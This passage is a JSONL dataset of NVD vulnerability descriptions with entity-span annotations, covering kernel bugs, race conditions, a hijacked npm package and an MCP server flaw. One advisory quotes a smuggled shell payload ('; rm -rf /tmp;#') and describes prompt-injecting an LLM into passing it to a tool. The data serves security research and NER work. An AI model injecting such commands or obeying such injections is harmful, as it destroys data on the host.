and\nnilfs_dat_commit_end().\n\nIf this happens, nilfs_dat_commit_end() calls nilfs_dat_commit_free()\nwithout valid buffer heads in req->pr_desc_bh and req->pr_bitmap_bh, and\ncauses the NULL pointer dereference above in\nnilfs_palloc_commit_free_entry() function, which leads to a crash.\n\nFix this by adding a NULL check on req->pr_desc_bh and req->pr_bitmap_bh\nbefore nilfs_palloc_commit_free_entry() in nilfs_dat_commit_free().\n\nThis also calls nilfs_error() in that case to notify that there is a fatal\nflaw in the filesystem metadata and prevent further operations.", "spans": {"FILEPATH: /11/2022": [[627, 635]], "FILEPATH: /nilfs2/alloc.c": [[692, 707]], "FILEPATH: /nilfs2/dat.c": [[1540, 1553], [1604, 1617], [1660, 1673]], "FILEPATH: /nilfs2/btree.c": [[1721, 1736], [1777, 1792], [1835, 1850], [1903, 1918]], "FILEPATH: /nilfs2/bmap.c": [[1960, 1974]], "FILEPATH: /nilfs2/segment.c": [[2017, 2034], [2083, 2100], [2146, 2163], [2202, 2219], [2260, 2277], [2337, 2354], [2400, 2417], [2458, 2475], [2527, 2544]], "FILEPATH: /x86/entry/entry_64.S": [[2623, 2644]], "FILEPATH: kthread.c": [[2579, 2588]], "SYSTEM: Linux kernel": [[7, 19]], "ORGANIZATION: Google": [[567, 573], [589, 595], [617, 623]], "VULNERABILITY: NULL pointer dereference": [[81, 105], [3199, 3223]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2022-49007"}}
{"text": "An issue was discovered in libgit2 before 0.28.4 and 0.9x before 0.99.0. checkout.c mishandles equivalent filenames that exist because of NTFS short names. This may allow remote code execution when cloning a repository. This issue is similar to CVE-2019-1353.", "spans": {"CVE_ID: CVE-2019-1353": [[245, 258]], "FILEPATH: checkout.c": [[73, 83]], "VULNERABILITY: remote code execution": [[171, 192]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2020-12279"}}
{"text": "Sylius is an Open Source eCommerce Framework on Symfony. A Time-of-Check To Time-of-Use (TOCTOU) race condition was discovered in the promotion usage limit enforcement. The same class of vulnerability affects the promotion usage limit (the global used counter on Promotion entities), coupon usage limit (the global used counter on PromotionCoupon entities), and coupon per-customer usage limit (the per-customer redemption count on PromotionCoupon entities). In all three cases, the eligibility check reads the used counter (or order count) from an in-memory Doctrine entity during validation, while the actual usage increment in OrderPromotionsUsageModifier happens later during order completion — with no database-level locking or atomic operations between the two phases. Because Doctrine flushes an absolute value (SET used = 1) rather than an atomic increment (SET used = used + 1), and because the affected entities lack optimistic locking, concurrent requests all read the same stale usage counts and pass the eligibility checks simultaneously. An attacker can exploit this by preparing multiple carts with the same limited-use promotion or coupon and firing simultaneous PATCH /api/v2/shop/orders/{token}/complete requests. All requests pass the usage limit checks and complete successfully, allowing a single-use promotion or coupon to be redeemed an arbitrary number of times. The per-customer limit can be bypassed in the same way by a single customer completing multiple orders concurrently. No authentication is required to exploit this vulnerability. This may lead to direct financial loss through unlimited redemption of limited-use promotions and discount coupons. The issue is fixed in versions: 1.9.12, 1.10.16, 1.11.17, 1.12.23, 1.13.15, 1.14.18, 2.0.16, 2.1.12, 2.2.3 and above.", "spans": {"FILEPATH: /api/v2/shop/orders": [[1185, 1204]], "VULNERABILITY: race condition": [[97, 111]], "VULNERABILITY: TOCTOU": [[89, 95]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2026-31824"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nACPI: PPTT: Fix to avoid sleep in the atomic context when PPTT is absent\n\nCommit 0c80f9e165f8 (\"ACPI: PPTT: Leave the table mapped for the runtime usage\")\nenabled to map PPTT once on the first invocation of acpi_get_pptt() and\nnever unmapped the same allowing it to be used at runtime with out the\nhassle of mapping and unmapping the table. This was needed to fetch LLC\ninformation from the PPTT in the cpuhotplug path which is executed in\nthe atomic context as the acpi_get_table() might sleep waiting for a\nmutex.\n\nHowever it missed to handle the case when there is no PPTT on the system\nwhich results in acpi_get_pptt() being called from all the secondary\nCPUs attempting to fetch the LLC information in the atomic context\nwithout knowing the absence of PPTT resulting in the splat like below:\n\n | BUG: sleeping function called from invalid context at kernel/locking/semaphore.c:164\n | in_atomic(): 1, irqs_disabled(): 1, non_block: 0, pid: 0, name: swapper/1\n | preempt_count: 1, expected: 0\n | RCU nest depth: 0, expected: 0\n | no locks held by swapper/1/0.\n | irq event stamp: 0\n | hardirqs last  enabled at (0): 0x0\n | hardirqs last disabled at (0): copy_process+0x61c/0x1b40\n | softirqs last  enabled at (0): copy_process+0x61c/0x1b40\n | softirqs last disabled at (0): 0x0\n | CPU: 1 PID: 0 Comm: swapper/1 Not tainted 6.3.0-rc1 #1\n | Call trace:\n |  dump_backtrace+0xac/0x138\n |  show_stack+0x30/0x48\n |  dump_stack_lvl+0x60/0xb0\n |  dump_stack+0x18/0x28\n |  __might_resched+0x160/0x270\n |  __might_sleep+0x58/0xb0\n |  down_timeout+0x34/0x98\n |  acpi_os_wait_semaphore+0x7c/0xc0\n |  acpi_ut_acquire_mutex+0x58/0x108\n |  acpi_get_table+0x40/0xe8\n |  acpi_get_pptt+0x48/0xa0\n |  acpi_get_cache_info+0x38/0x140\n |  init_cache_level+0xf4/0x118\n |  detect_cache_attributes+0x2e4/0x640\n |  update_siblings_masks+0x3c/0x330\n |  store_cpu_topology+0x88/0xf0\n |  secondary_start_kernel+0xd0/0x168\n |  __secondary_switched+0xb8/0xc0\n\nUpdate acpi_get_pptt() to consider the fact that PPTT is once checked and\nis not available on the system and return NULL avoiding any attempts to\nfetch PPTT and thereby avoiding any possible sleep waiting for a mutex\nin the atomic context.", "spans": {"FILEPATH: /locking/semaphore.c": [[930, 950]], "FILEPATH: /1/0.": [[1126, 1131]], "SYSTEM: Linux kernel": [[7, 19]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2023-53070"}}
{"text": "An Improper Privilege Management vulnerability in the gRPC framework, used by the Juniper Extension Toolkit (JET) API on Juniper Networks Junos OS and Junos OS Evolved, allows a network-based, low-privileged authenticated attacker to perform operations as root, leading to complete compromise of the targeted system. The issue is caused by the JET service daemon (jsd) process authenticating the user, then passing configuration operations directly to the management daemon (mgd) process, which runs as root. This issue affects Juniper Networks Junos OS: 18.4 versions prior to 18.4R1-S8, 18.4R2-S8, 18.4R3-S8; 19.1 versions prior to 19.1R2-S3, 19.1R3-S5; 19.2 versions prior to 19.2R1-S7, 19.2R3-S2; 19.3 versions prior to 19.3R2-S6, 19.3R3-S2; 19.4 versions prior to 19.4R1-S4, 19.4R2-S4, 19.4R3-S3; 20.1 versions prior to 20.1R2-S2, 20.1R3; 20.2 versions prior to 20.2R2-S3, 20.2R3; 20.3 versions prior to 20.3R2-S1, 20.3R3; 20.4 versions prior to 20.4R2. This issue does not affect Juniper Networks Junos OS versions prior to 18.4R1. Juniper Networks Junos OS Evolved: All versions prior to 20.4R2-EVO; 21.1-EVO versions prior to 21.1R2-EVO.", "spans": {"ORGANIZATION: Juniper": [[82, 89], [121, 128], [528, 535], [986, 993], [1038, 1045]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2021-31350"}}
{"text": "Account users in Apache CloudStack by default are allowed to register templates to be downloaded directly to the primary storage for deploying instances. Due to missing validation checks for KVM-compatible templates in CloudStack 4.0.0 through 4.18.2.4 and 4.19.0.0 through 4.19.1.2, an attacker that can register templates, can use them to deploy malicious instances on KVM-based environments and exploit this to gain access to the host filesystems that could result in the compromise of resource integrity and confidentiality, data loss, denial of service, and availability of KVM-based infrastructure managed by CloudStack.\n\n\nUsers are recommended to upgrade to Apache CloudStack 4.18.2.5 or 4.19.1.3, or later, which addresses this issue. \n\nAdditionally, all user-registered KVM-compatible templates can be scanned and checked that they are flat files that should not be using any additional or unnecessary features. For example, operators can run the following command on their file-based primary storage(s) and inspect the output. An empty output for the disk being validated means it has no references to the host filesystems; on the other hand, if the output for the disk being validated is not empty, it might indicate a compromised disk. However, bear in mind that (i) volumes created from templates will have references for the templates at first and (ii) volumes can be consolidated while migrating, losing their references to the templates. Therefore, the command execution for the primary storages can show both false positives and false negatives.\n\n\nfor file in $(find /path/to/storage/ -type f -regex [a-f0-9\\-]*.*); do echo \"Retrieving file [$file] info. If the output is not empty, that might indicate a compromised disk; check it carefully.\"; qemu-img info -U $file | grep file: ; printf \"\\n\\n\"; done\nFor checking the whole template/volume features of each disk, operators can run the following command:\n\n\nfor file in $(find /path/to/storage/ -type f -regex [a-f0-9\\-]*.*); do echo \"Retrieving file [$file] info.\"; qemu-img info -U $file; printf \"\\n\\n\"; done", "spans": {"IP_ADDRESS: 4.18.2.4": [[244, 252]], "IP_ADDRESS: 4.19.0.0": [[257, 265]], "IP_ADDRESS: 4.19.1.2": [[274, 282]], "IP_ADDRESS: 4.18.2.5": [[683, 691]], "IP_ADDRESS: 4.19.1.3": [[695, 703]], "FILEPATH: /path/to/storage": [[1584, 1600], [1944, 1960]], "SYSTEM: KVM": [[191, 194], [371, 374], [579, 582], [779, 782]], "ORGANIZATION: Apache": [[17, 23], [665, 671]], "VULNERABILITY: denial of service": [[540, 557]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2024-50386"}}
{"text": "iOS Simulator MCP Server (ios-simulator-mcp) is a Model Context Protocol (MCP) server for interacting with iOS simulators. Versions prior to 1.3.3 are written in a way that is vulnerable to command injection vulnerability attacks as part of some of its MCP Server tool definition and implementation. The MCP Server exposes the tool `ui_tap` which relies on Node.js child process API `exec` which is an unsafe and vulnerable API if concatenated with untrusted user input. LLM exposed user input for `duration`, `udid`, and `x` and `y` args can be replaced with shell meta-characters like `;` or `&&` or others to change the behavior from running the expected command `idb` to another command. When LLMs are tricked through prompt injection (and other techniques and attack vectors) to call the tool with input that uses special shell characters such as `; rm -rf /tmp;#` and other payload variations, the full command-line text will be interepted by the shell and result in other commands except of `ps` executing on the host running the MCP Server. Version 1.3.3 contains a patch for the issue.", "spans": {"FILEPATH: Node.js": [[357, 364]], "SYSTEM: iOS": [[0, 3], [107, 110]], "VULNERABILITY: command injection": [[190, 207]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2025-52573"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nbtrfs: fix crash on racing fsync and size-extending write into prealloc\n\nWe have been seeing crashes on duplicate keys in\nbtrfs_set_item_key_safe():\n\n  BTRFS critical (device vdb): slot 4 key (450 108 8192) new key (450 108 8192)\n  ------------[ cut here ]------------\n  kernel BUG at fs/btrfs/ctree.c:2620!\n  invalid opcode: 0000 [#1] PREEMPT SMP PTI\n  CPU: 0 PID: 3139 Comm: xfs_io Kdump: loaded Not tainted 6.9.0 #6\n  Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS 1.16.3-2.fc40 04/01/2014\n  RIP: 0010:btrfs_set_item_key_safe+0x11f/0x290 [btrfs]\n\nWith the following stack trace:\n\n  #0  btrfs_set_item_key_safe (fs/btrfs/ctree.c:2620:4)\n  #1  btrfs_drop_extents (fs/btrfs/file.c:411:4)\n  #2  log_one_extent (fs/btrfs/tree-log.c:4732:9)\n  #3  btrfs_log_changed_extents (fs/btrfs/tree-log.c:4955:9)\n  #4  btrfs_log_inode (fs/btrfs/tree-log.c:6626:9)\n  #5  btrfs_log_inode_parent (fs/btrfs/tree-log.c:7070:8)\n  #6  btrfs_log_dentry_safe (fs/btrfs/tree-log.c:7171:8)\n  #7  btrfs_sync_file (fs/btrfs/file.c:1933:8)\n  #8  vfs_fsync_range (fs/sync.c:188:9)\n  #9  vfs_fsync (fs/sync.c:202:9)\n  #10 do_fsync (fs/sync.c:212:9)\n  #11 __do_sys_fdatasync (fs/sync.c:225:9)\n  #12 __se_sys_fdatasync (fs/sync.c:223:1)\n  #13 __x64_sys_fdatasync (fs/sync.c:223:1)\n  #14 do_syscall_x64 (arch/x86/entry/common.c:52:14)\n  #15 do_syscall_64 (arch/x86/entry/common.c:83:7)\n  #16 entry_SYSCALL_64+0xaf/0x14c (arch/x86/entry/entry_64.S:121)\n\nSo we're logging a changed extent from fsync, which is splitting an\nextent in the log tree. But this split part already exists in the tree,\ntriggering the BUG().\n\nThis is the state of the log tree at the time of the crash, dumped with\ndrgn (https://github.com/osandov/drgn/blob/main/contrib/btrfs_tree.py)\nto get more details than btrfs_print_leaf() gives us:\n\n  >>> print_extent_buffer(prog.crashed_thread().stack_trace()[0][\"eb\"])\n  leaf 33439744 level 0 items 72 generation 9 owner 18446744073709551610\n  leaf 33439744 flags 0x100000000000000\n  fs uuid e5bd3946-400c-4223-8923-190ef1f18677\n  chunk uuid d58cb17e-6d02-494a-829a-18b7d8a399da\n          item 0 key (450 INODE_ITEM 0) itemoff 16123 itemsize 160\n                  generation 7 transid 9 size 8192 nbytes 8473563889606862198\n                  block group 0 mode 100600 links 1 uid 0 gid 0 rdev 0\n                  sequence 204 flags 0x10(PREALLOC)\n                  atime 1716417703.220000000 (2024-05-22 15:41:43)\n                  ctime 1716417704.983333333 (2024-05-22 15:41:44)\n                  mtime 1716417704.983333333 (2024-05-22 15:41:44)\n                  otime 17592186044416.000000000 (559444-03-08 01:40:16)\n          item 1 key (450 INODE_REF 256) itemoff 16110 itemsize 13\n                  index 195 namelen 3 name: 193\n          item 2 key (450 XATTR_ITEM 1640047104) itemoff 16073 itemsize 37\n                  location key (0 UNKNOWN.0 0) type XATTR\n                  transid 7 data_len 1 name_len 6\n                  name: user.a\n                  data a\n          item 3 key (450 EXTENT_DATA 0) itemoff 16020 itemsize 53\n                  generation 9 type 1 (regular)\n                  extent data disk byte 303144960 nr 12288\n                  extent data offset 0 nr 4096 ram 12288\n                  extent compression 0 (none)\n          item 4 key (450 EXTENT_DATA 4096) itemoff 15967 itemsize 53\n                  generation 9 type 2 (prealloc)\n                  prealloc data disk byte 303144960 nr 12288\n                  prealloc data offset 4096 nr 8192\n          item 5 key (450 EXTENT_DATA 8192) itemoff 15914 itemsize 53\n                  generation 9 type 2 (prealloc)\n                  prealloc data disk byte 303144960 nr 12288\n                  prealloc data offset 8192 nr 4096\n  ...\n\nSo the real problem happened earlier: notice that items 4 (4k-12k) and 5\n(8k-12k) overlap. Both are prealloc extents. Item 4 straddles i_size and\nitem 5 starts at i_size.\n\nHere is the state of \n---truncated---", "spans": {"URL: https://github.com/osandov/drgn/blob/main/contrib/btrfs_tree.py": [[1743, 1806]], "FILEPATH: /btrfs/ctree.c": [[356, 370], [698, 712]], "FILEPATH: /01/2014": [[566, 574]], "FILEPATH: /btrfs/file.c": [[749, 762], [1072, 1085]], "FILEPATH: /btrfs/tree-log.c": [[794, 811], [855, 872], [906, 923], [964, 981], [1021, 1038]], "FILEPATH: /x86/entry/common.c": [[1357, 1376], [1409, 1428]], "FILEPATH: /x86/entry/entry_64.S": [[1474, 1495]], "FILEPATH: sync.c": [[1120, 1126], [1154, 1160], [1187, 1193], [1230, 1236], [1273, 1279], [1317, 1323]], "SYSTEM: Linux kernel": [[7, 19]], "SYSTEM: QEMU": [[505, 509]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2024-37354"}}
{"text": "A stack buffer overflow vulnerability has been reported to affect QNAP device running QVR Elite, QVR Pro, QVR Guard. If exploited, this vulnerability allows attackers to execute arbitrary code. We have already fixed this vulnerability in the following versions of QVR Elite, QVR Pro, QVR Guard: QuTS hero h5.0.0: QVR Elite 2.1.4.0 (2021/12/06) and later QuTS hero h4.5.4: QVR Elite 2.1.4.0 (2021/12/06) and later QTS 5.0.0: QVR Elite 2.1.4.0 (2021/12/06) and later QTS 4.5.4: QVR Elite 2.1.4.0 (2021/12/06) and later QTS 4.5.4: QVR Pro 2.1.3.0 (2021/12/06) and later QTS 5.0.0: QVR Pro 2.1.3.0 (2021/12/06) and later QTS 4.5.4: QVR Guard 2.1.3.0 (2021/12/06) and later QTS 5.0.0: QVR Guard 2.1.3.0 (2021/12/06) and later", "spans": {"IP_ADDRESS: 2.1.4.0": [[323, 330], [382, 389], [434, 441], [486, 493]], "IP_ADDRESS: 2.1.3.0": [[536, 543], [586, 593], [638, 645], [690, 697]], "FILEPATH: /12/06": [[336, 342], [395, 401], [447, 453], [499, 505], [549, 555], [599, 605], [651, 657], [703, 709]], "ORGANIZATION: QNAP": [[66, 70]], "VULNERABILITY: buffer overflow": [[8, 23]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2021-38692"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nRDMA/irdma: Fix drain SQ hang with no completion\n\nSW generated completions for outstanding WRs posted on SQ\nafter QP is in error target the wrong CQ. This causes the\nib_drain_sq to hang with no completion.\n\nFix this to generate completions on the right CQ.\n\n[  863.969340] INFO: task kworker/u52:2:671 blocked for more than 122 seconds.\n[  863.979224]       Not tainted 5.14.0-130.el9.x86_64 #1\n[  863.986588] \"echo 0 > /proc/sys/kernel/hung_task_timeout_secs\" disables this message.\n[  863.996997] task:kworker/u52:2   state:D stack:    0 pid:  671 ppid:     2 flags:0x00004000\n[  864.007272] Workqueue: xprtiod xprt_autoclose [sunrpc]\n[  864.014056] Call Trace:\n[  864.017575]  __schedule+0x206/0x580\n[  864.022296]  schedule+0x43/0xa0\n[  864.026736]  schedule_timeout+0x115/0x150\n[  864.032185]  __wait_for_common+0x93/0x1d0\n[  864.037717]  ? usleep_range_state+0x90/0x90\n[  864.043368]  __ib_drain_sq+0xf6/0x170 [ib_core]\n[  864.049371]  ? __rdma_block_iter_next+0x80/0x80 [ib_core]\n[  864.056240]  ib_drain_sq+0x66/0x70 [ib_core]\n[  864.062003]  rpcrdma_xprt_disconnect+0x82/0x3b0 [rpcrdma]\n[  864.069365]  ? xprt_prepare_transmit+0x5d/0xc0 [sunrpc]\n[  864.076386]  xprt_rdma_close+0xe/0x30 [rpcrdma]\n[  864.082593]  xprt_autoclose+0x52/0x100 [sunrpc]\n[  864.088718]  process_one_work+0x1e8/0x3c0\n[  864.094170]  worker_thread+0x50/0x3b0\n[  864.099109]  ? rescuer_thread+0x370/0x370\n[  864.104473]  kthread+0x149/0x170\n[  864.109022]  ? set_kthread_struct+0x40/0x40\n[  864.114713]  ret_from_fork+0x22/0x30", "spans": {"FILEPATH: /proc/sys/kernel/hung_task_timeout_secs": [[489, 528]], "SYSTEM: Linux kernel": [[7, 19]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2022-48694"}}
{"text": "Vulnerability in the Java SE, Java SE Embedded product of Oracle Java SE (component: Libraries). Supported versions that are affected are Java SE: 7u271, 8u261, 11.0.8 and 15; Java SE Embedded: 8u261. Difficult to exploit vulnerability allows unauthenticated attacker with network access via multiple protocols to compromise Java SE, Java SE Embedded. Successful attacks require human interaction from a person other than the attacker. Successful attacks of this vulnerability can result in unauthorized update, insert or delete access to some of Java SE, Java SE Embedded accessible data. Note: This vulnerability applies to Java deployments, typically in clients running sandboxed Java Web Start applications or sandboxed Java applets, that load and run untrusted code (e.g., code that comes from the internet) and rely on the Java sandbox for security. This vulnerability does not apply to Java deployments, typically in servers, that load and run only trusted code (e.g., code installed by an administrator). CVSS 3.1 Base Score 3.1 (Integrity impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:N/I:L/A:N).", "spans": {"SYSTEM: Java": [[21, 25], [30, 34], [65, 69], [138, 142], [176, 180], [325, 329], [334, 338], [547, 551], [556, 560], [626, 630], [683, 687], [724, 728], [829, 833], [893, 897]], "ORGANIZATION: Oracle": [[58, 64]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2020-14798"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nath10k: skip ath10k_halt during suspend for driver state RESTARTING\n\nDouble free crash is observed when FW recovery(caused by wmi\ntimeout/crash) is followed by immediate suspend event. The FW recovery\nis triggered by ath10k_core_restart() which calls driver clean up via\nath10k_halt(). When the suspend event occurs between the FW recovery,\nthe restart worker thread is put into frozen state until suspend completes.\nThe suspend event triggers ath10k_stop() which again triggers ath10k_halt()\nThe double invocation of ath10k_halt() causes ath10k_htt_rx_free() to be\ncalled twice(Note: ath10k_htt_rx_alloc was not called by restart worker\nthread because of its frozen state), causing the crash.\n\nTo fix this, during the suspend flow, skip call to ath10k_halt() in\nath10k_stop() when the current driver state is ATH10K_STATE_RESTARTING.\nAlso, for driver state ATH10K_STATE_RESTARTING, call\nath10k_wait_for_suspend() in ath10k_stop(). This is because call to\nath10k_wait_for_suspend() is skipped later in\n[ath10k_halt() > ath10k_core_stop()] for the driver state\nATH10K_STATE_RESTARTING.\n\nThe frozen restart worker thread will be cancelled during resume when the\ndevice comes out of suspend.\n\nBelow is the crash stack for reference:\n\n[  428.469167] ------------[ cut here ]------------\n[  428.469180] kernel BUG at mm/slub.c:4150!\n[  428.469193] invalid opcode: 0000 [#1] PREEMPT SMP NOPTI\n[  428.469219] Workqueue: events_unbound async_run_entry_fn\n[  428.469230] RIP: 0010:kfree+0x319/0x31b\n[  428.469241] RSP: 0018:ffffa1fac015fc30 EFLAGS: 00010246\n[  428.469247] RAX: ffffedb10419d108 RBX: ffff8c05262b0000\n[  428.469252] RDX: ffff8c04a8c07000 RSI: 0000000000000000\n[  428.469256] RBP: ffffa1fac015fc78 R08: 0000000000000000\n[  428.469276] CS:  0010 DS: 0000 ES: 0000 CR0: 0000000080050033\n[  428.469285] Call Trace:\n[  428.469295]  ? dma_free_attrs+0x5f/0x7d\n[  428.469320]  ath10k_core_stop+0x5b/0x6f\n[  428.469336]  ath10k_halt+0x126/0x177\n[  428.469352]  ath10k_stop+0x41/0x7e\n[  428.469387]  drv_stop+0x88/0x10e\n[  428.469410]  __ieee80211_suspend+0x297/0x411\n[  428.469441]  rdev_suspend+0x6e/0xd0\n[  428.469462]  wiphy_suspend+0xb1/0x105\n[  428.469483]  ? name_show+0x2d/0x2d\n[  428.469490]  dpm_run_callback+0x8c/0x126\n[  428.469511]  ? name_show+0x2d/0x2d\n[  428.469517]  __device_suspend+0x2e7/0x41b\n[  428.469523]  async_suspend+0x1f/0x93\n[  428.469529]  async_run_entry_fn+0x3d/0xd1\n[  428.469535]  process_one_work+0x1b1/0x329\n[  428.469541]  worker_thread+0x213/0x372\n[  428.469547]  kthread+0x150/0x15f\n[  428.469552]  ? pr_cont_work+0x58/0x58\n[  428.469558]  ? kthread_blkcg+0x31/0x31\n\nTested-on: QCA6174 hw3.2 PCI WLAN.RM.4.4.1-00288-QCARMSWPZ-1", "spans": {"FILEPATH: slub.c": [[1384, 1390]], "SYSTEM: Linux kernel": [[7, 19]], "VULNERABILITY: Double free": [[138, 149]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2022-49519"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nscsi: mpt3sas: Fix crash in transport port remove by using ioc_info()\n\nDuring mpt3sas_transport_port_remove(), messages were logged with\ndev_printk() against &mpt3sas_port->port->dev. At this point the SAS\ntransport device may already be partially unregistered or freed, leading\nto a crash when accessing its struct device.\n\nUsing ioc_info(), which logs via the PCI device (ioc->pdev->dev),\nguaranteed to remain valid until driver removal.\n\n[83428.295776] Oops: general protection fault, probably for non-canonical address 0x6f702f323a33312d: 0000 [#1] SMP NOPTI\n[83428.295785] CPU: 145 UID: 0 PID: 113296 Comm: rmmod Kdump: loaded Tainted: G           OE       6.16.0-rc1+ #1 PREEMPT(voluntary)\n[83428.295792] Tainted: [O]=OOT_MODULE, [E]=UNSIGNED_MODULE\n[83428.295795] Hardware name: Dell Inc. Precision 7875 Tower/, BIOS 89.1.67 02/23/2024\n[83428.295799] RIP: 0010:__dev_printk+0x1f/0x70\n[83428.295805] Code: 90 90 90 90 90 90 90 90 90 90 90 0f 1f 44 00 00 49 89 d1 48 85 f6 74 52 4c 8b 46 50 4d 85 c0 74 1f 48 8b 46 68 48 85 c0 74 22 <48> 8b 08 0f b6 7f 01 48 c7 c2 db e8 42 ad 83 ef 30 e9 7b f8 ff ff\n[83428.295813] RSP: 0018:ff85aeafc3137bb0 EFLAGS: 00010206\n[83428.295817] RAX: 6f702f323a33312d RBX: ff4290ee81292860 RCX: 5000cca25103be32\n[83428.295820] RDX: ff85aeafc3137bb8 RSI: ff4290eeb1966c00 RDI: ffffffffc1560845\n[83428.295823] RBP: ff85aeafc3137c18 R08: 74726f702f303a33 R09: ff85aeafc3137bb8\n[83428.295826] R10: ff85aeafc3137b18 R11: ff4290f5bd60fe68 R12: ff4290ee81290000\n[83428.295830] R13: ff4290ee6e345de0 R14: ff4290ee81290000 R15: ff4290ee6e345e30\n[83428.295833] FS:  00007fd9472a6740(0000) GS:ff4290f5ce96b000(0000) knlGS:0000000000000000\n[83428.295837] CS:  0010 DS: 0000 ES: 0000 CR0: 0000000080050033\n[83428.295840] CR2: 00007f242b4db238 CR3: 00000002372b8006 CR4: 0000000000771ef0\n[83428.295844] PKRU: 55555554\n[83428.295846] Call Trace:\n[83428.295848]  <TASK>\n[83428.295850]  _dev_printk+0x5c/0x80\n[83428.295857]  ? srso_alias_return_thunk+0x5/0xfbef5\n[83428.295863]  mpt3sas_transport_port_remove+0x1c7/0x420 [mpt3sas]\n[83428.295882]  _scsih_remove_device+0x21b/0x280 [mpt3sas]\n[83428.295894]  ? _scsih_expander_node_remove+0x108/0x140 [mpt3sas]\n[83428.295906]  ? srso_alias_return_thunk+0x5/0xfbef5\n[83428.295910]  mpt3sas_device_remove_by_sas_address.part.0+0x8f/0x110 [mpt3sas]\n[83428.295921]  _scsih_expander_node_remove+0x129/0x140 [mpt3sas]\n[83428.295933]  _scsih_expander_node_remove+0x6a/0x140 [mpt3sas]\n[83428.295944]  scsih_remove+0x3f0/0x4a0 [mpt3sas]\n[83428.295957]  pci_device_remove+0x3b/0xb0\n[83428.295962]  device_release_driver_internal+0x193/0x200\n[83428.295968]  driver_detach+0x44/0x90\n[83428.295971]  bus_remove_driver+0x69/0xf0\n[83428.295975]  pci_unregister_driver+0x2a/0xb0\n[83428.295979]  _mpt3sas_exit+0x1f/0x300 [mpt3sas]\n[83428.295991]  __do_sys_delete_module.constprop.0+0x174/0x310\n[83428.295997]  ? srso_alias_return_thunk+0x5/0xfbef5\n[83428.296000]  ? __x64_sys_getdents64+0x9a/0x110\n[83428.296005]  ? srso_alias_return_thunk+0x5/0xfbef5\n[83428.296009]  ? syscall_trace_enter+0xf6/0x1b0\n[83428.296014]  do_syscall_64+0x7b/0x2c0\n[83428.296019]  ? srso_alias_return_thunk+0x5/0xfbef5\n[83428.296023]  entry_SYSCALL_64_after_hwframe+0x76/0x7e", "spans": {"FILEPATH: /23/2024": [[903, 911]], "SYSTEM: Linux kernel": [[7, 19]], "ORGANIZATION: Dell": [[855, 859]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2025-40115"}}
{"text": "is-arrayish checks if an object can be used like an Array. On 8 September 2025, an npm publishing account for is-arrayish was taken over after a phishing attack. Version 0.3.3 was published, functionally identical to the previous patch version, but with a malware payload added attempting to redirect cryptocurrency transactions to the attacker's own addresses from within browser environments. Local environments, server environments, command line applications, etc. are not affected. If the package was used in a browser context (e.g. a direct <script> inclusion, or via a bundling tool such as Babel, Rollup, Vite, Next.js, etc.) there is a chance the malware still exists and such bundles will need to be rebuilt. The malware seemingly only targets cryptocurrency transactions and wallets such as MetaMask. See references below for more information on the payload. npm removed the offending package from the registry over the course of the day on 8 September, preventing further downloads from npm proper. On 13 September, the package owner published new patch versions to help cache-bust those using private registries who might still have the compromised version cached. Users should update to the latest patch version, completely remove their node_modules directory, clean their package manager's global cache, and rebuild any browser bundles from scratch. Those operating private registries or registry mirrors should purge the offending versions from any caches. This issue is resolved in 0.3.4.", "spans": {"FILEPATH: Next.js": [[618, 625]], "ORGANIZATION: npm": [[83, 86], [869, 872], [998, 1001]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2025-59331"}}
{"text": "The Secure Password extension in One Identity Password Manager before 5.14.4 allows local privilege escalation. The issue arises from a flawed security hardening mechanism within the kiosk browser used to display the Password Self-Service site to end users. Specifically, the application attempts to restrict privileged actions by overriding the native window.print() function. However, this protection can be bypassed by an attacker who accesses the Password Self-Service site from the lock screen and navigates to an attacker-controlled webpage via the Help function. By hosting a crafted web page with JavaScript, the attacker can restore and invoke the window.print() function, launching a SYSTEM-privileged print dialog. From this dialog, the attacker can exploit standard Windows functionality - such as the Print to PDF or Add Printer wizard - to spawn a command prompt with SYSTEM privileges. Successful exploitation allows a local attacker (with access to a locked workstation) to gain SYSTEM-level privileges, granting full control over the affected device.", "spans": {"SYSTEM: Windows": [[778, 785]], "VULNERABILITY: privilege escalation": [[90, 110]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2025-27582"}}
{"text": "The Trash Restore CSRF vulnerability in MuraCMS through 10.1.10 allows attackers to restore deleted content from the trash to unauthorized locations through CSRF. The vulnerable cTrash.restore function lacks CSRF token validation, enabling malicious websites to forge requests that restore content to arbitrary parent locations when an authenticated administrator visits a crafted webpage. Successful exploitation of the Trash Restore CSRF vulnerability results in unauthorized restoration of deleted content to potentially inappropriate or malicious locations within the MuraCMS website structure. When an authenticated administrator visits a malicious webpage containing the CSRF exploit, their browser automatically submits a hidden form that restores specified content from the trash to a location determined by the attacker through the parentid parameter. This can lead to restoration of previously deleted malicious content, placement of sensitive documents in public areas, manipulation of website navigation structure, or restoration of outdated content that was intentionally removed for security or compliance reasons.", "spans": {}, "info": {"source": "nvd_v2", "cve_id": "CVE-2025-55044"}}
